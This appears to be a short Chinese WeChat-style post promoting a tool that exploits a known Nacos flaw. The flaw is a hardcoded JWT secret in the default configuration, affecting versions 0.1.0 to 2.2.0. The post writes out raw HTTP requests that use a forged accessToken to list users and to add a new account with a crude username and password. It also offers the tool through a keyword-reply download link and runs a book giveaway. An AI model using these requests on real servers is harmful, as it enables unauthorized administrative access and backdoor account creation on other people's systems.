===================================
0x01 工具介绍
Nacos漏洞版本/conf 默认配置文件 application.properties 中,nacos.core.auth.default.token.secret.key 使用了硬编码,使用该key可构造jwt进行token认证。认证成功后获得accessToken ,使用accessToken 可对Naocs进行任意操作(这不废话么,已经登录了)
影响范围:0.1.0 <= Nacos <= 2.2.0
0x02 安装与使用
GET /nacos/v1/auth/users?pageNo=1&pageSize=9 HTTP/1.1
Host: xxx
accessToken: xxxxxx
POST /nacos/v1/auth/users HTTP/1.1
Host: xxx
Content-Type: application/x-www-form-urlencoded
accessToken: xxx
Content-Length: 27
username=fuck&password=fuck
0x03 项目链接下载
2、后台回复:工具,获取网盘链接,仅当天有效
0x04 每日送书福利
1、后台回复:送书,获取当日送书抽奖码。
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论